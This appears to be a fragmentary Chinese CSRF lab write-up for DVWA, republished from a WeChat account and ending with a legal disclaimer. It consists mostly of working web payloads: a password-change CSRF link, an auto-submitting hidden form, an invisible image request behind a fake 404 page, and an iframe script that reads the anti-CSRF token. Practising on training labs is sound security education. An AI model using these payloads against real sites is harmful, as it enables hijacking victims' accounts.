相关代码分析
http://x.x.x.x/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
<html>
<!-- CSRF PoC - generated by Burp Suite Professional -->
<body>
<script>history.pushState('', '', '/')</script>
<form action="http://x.x.x.x/vulnerabilities/csrf/">
<input type="hidden" name="password_new" value="123456" />
<input type="hidden" name="password_conf" value="123456" />
<input type="hidden" name="Change" value="Change" />
<input type="submit" value="Submit request" />
</form>
</body>
</html>
0x02.CSRF(Medium)
<img src="http://x.x.x.x/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#" border="0"style="display:none;"/>
<h1>404<h1>
<h2>file not found.<h2>
http://x.x.x.x/vulnerabilities/csrf/?password_new=123456&password_conf=123456&Change=Change#
<iframe src="../csrf/" onload=alert(frames[0].document.getElementsByName('user_token')[0].value)>
0x04.CSRF(High)
本文始发于微信公众号(24h进德修业):DVWA CSRF
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论